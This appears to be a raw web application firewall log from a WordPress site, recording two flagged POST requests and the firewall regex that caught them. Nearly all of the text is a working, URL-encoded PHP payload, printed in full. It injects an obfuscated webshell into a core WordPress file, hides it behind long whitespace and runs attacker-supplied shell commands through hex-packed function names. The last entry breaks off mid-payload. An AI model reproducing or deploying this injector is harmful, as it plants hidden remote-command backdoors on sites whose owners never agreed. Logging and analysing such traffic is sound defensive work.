["2026-05-12 09:56:02","192.3.12.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:8810\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nhB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:56:03","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:8810\naccept:*\/*\naccept-encoding:gzip,deflate\n\nJY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25